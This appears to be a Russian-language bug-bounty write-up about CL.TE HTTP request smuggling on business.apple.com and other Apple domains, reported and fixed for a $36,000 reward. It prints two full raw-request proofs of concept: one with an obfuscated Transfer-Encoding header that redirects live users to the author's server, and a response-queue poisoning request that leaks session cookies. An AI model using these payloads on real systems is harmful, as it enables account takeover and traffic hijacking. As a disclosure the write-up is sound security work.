HTTP Request Smuggling на business.apple.com и других сайтах

от автора

Около года назад Apple произвела фурор в баг-баунти сообществе, привлекая внимание  различными эксплойтами и честной таблицей наград. Я взялся за дело и обнаружил критические проблемы связанные с Request Smuggling, которые затрагивали ключевые веб-приложения в инфраструктуре Apple.

Я выявил проблемы на серверах под следующими доменами:

Для эксплуатации каждого сервера я использовал одну и ту же технику Request Smuggling.

Эксплойт:

Каждый сервер был уязвим для атаки CL.TE Request Smuggling. CL.TE расшифровывается как Content-Length Transfer-Encoding (Content-Length Transfer-Encoding) и описывает уязвимую веб-конфигурацию, в которой фронтенд-сервер считывает заголовок Content-Length в запросе, а бэкенд сервер считывает заголовок Transfer-Encoded. Поскольку серверы не договариваются о том, где начинается и заканчивается запрос, возникает уязвимость. Подробная информация об этом классе ошибок доступна по ссылке.

Необходимо было преобразовать заголовок Transfer-Encoding на веб-сайтах Apple с помощью символа новой строки, а затем пробела в имени заголовка. Это преобразование позволило успешно пройти фронтенд, но все еще использовалось бэкендом.

Transfer-Encoding\n : chunked

Используя эту информацию, я создал первый PoC.

POST / HTTP/1.1

Transfer-Encoding

 : chunked

Host: business.apple.com

Content-Length: 67

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

1

Z

0

GET /static/docs HTTP/1.1

Host: my.server

X: X

Мой smuggled путь — /static/docs, потому что там происходит перенаправление, использующее значение заголовка Host. Таким образом, я мог бы перенаправлять живых пользователей на свой сервер, чтобы доказать, что request smuggling затрагивает пользователей прода.

Очень быстро я начал получать запросы от пользователей. Кроме того, это позволяло мне перенаправлять JavaScript импорт, что приводит к хранимому межсайтовому скриптингу (stored cross-site scripting). Если запрос к JavaScript файлу попадает на отравленный сокет, он перенаправит его на мой JS файл и загрузит его.

Однако это был не самый эффективный вектор атаки. Все серверы были уязвимы для атаки, называемой отравлением очереди. Эта атака нарушает очередь ответов, которая начнет отправлять случайные ответы случайным пользователям. Поскольку этот метод раскрывает все данные ответа, включая заголовки Set-Cookie, он приводит к захвату учетной записи без участия пользователя.

POST / HTTP/1.1

Transfer-Encoding

 : chunked

Host: business.apple.com

Content-Length: 196

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

1

Z

0

GET / HTTP/1.1

Host: business.apple.com

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: /

Accept-Language: en

Content-Type: application/x-www-form-urlencoded

Можно было использовать и другие дополнительные векторы. Например, я мог бы обойти правила управления доступом к каталогу /internal. Первоначально доступ к каталогу запрещен, но с помощью request smuggling, любой мог получить содержимое этого каталога. В целом, Apple быстро отреагировала и устранила проблемы.

За каждый домен была назначена награда в размере 12 000 $, а общая сумма вознаграждения составила 36 000$.

Ещё больше познавательного контента в Telegram-канале — Life-Hack — Хакер


ссылка на оригинал статьи https://habr.com/ru/articles/890638/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *